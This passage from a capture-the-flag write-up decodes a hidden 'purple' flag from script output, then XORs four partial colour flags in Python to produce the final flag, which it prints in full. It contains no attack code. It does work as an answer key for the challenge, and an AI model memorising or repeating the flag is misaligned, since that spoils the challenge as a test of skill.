oxdf@hacky$ uv run purple.py 
=== Offset 7 ===
  o[\x19]d9Ux%]c-+wG?pqg$<*}[\x00][\x00][\x00]I hope you enjoy the 'fun' you reques[\xf4]ed -- FV25{[\x7f]o[\x19]d9Ux%]c-+wG?tqg$<*}[\x00][\x00][\x00]I h[\x00][\x00]e you enjoy the 'fun' you requested -- FV25{[\x7f]o[\x19]d9Ux%]c-+wG?tqg$<*}[\x00][\x00][\x00]I hope you enjoy the 'fun' you requested -- FV25{[\x7f]o[\x19]d9Ux%]c-+wG?tqg$<*}[\x00][\x00][\x00]I hope you enjoy the 'fun' you requested -- FV25{[\x7f]o[\x19]d9Ux%]c-+wG?tqg$<*}[\x00][\x00][\x00]I hope you enjoy the 'fu[\x00]' you requested -- FV25{[\x7f]o[\x19]d9Ux%]c-+wG?tqg$<*}[\x00][\x00][\x00]I hope you enjoy the 'fun' you requested -- FV25{[\x7f]o[\x19]d9Ux%]c-+wG?tqg$<*}[\x00][\x00][\x00]I

The flag here has two non-ASCII characters in it, but that’s actually expected: FV25{[\x7f]o[\x19]d9Ux%]c-+wG?tqg$<*}

Final Flag

None of the flags from the color work as the challenge flag, and the hints in the challenge suggest I need all four. I’ll note that they are all the same length (when I use “?” for the non-ASCII bytes in purple):

  • FV25{NOTTHEWHOLEFLAGISHERE}
  • FV25{There are more 2 find}
  • FV25{1 More 2 find hav fun}
  • FV25{?o?d9Ux%]c-+wG?tqg$<*}

If I take each one, and XOR them all together byte by byte, a new flag results:

>>> red = b'NOTTHEWHOLEFLAGISHERE'
>>> green = b'There are more 2 find'
>>> blue = b'1 More 2 find hav fun'
>>> purple = b'\x7fo\x19d9Ux%]c-+wG?tqg$<*'
>>> 'FV25{' + ''.join(chr(r ^ g ^ b ^ p) for r, g, b, p in zip(red, green, blue, purple)) + '}'
'FV25{The-fUn-Will-C0ntinue}'

Flag: FV25{The-fUn-Will-C0ntinue}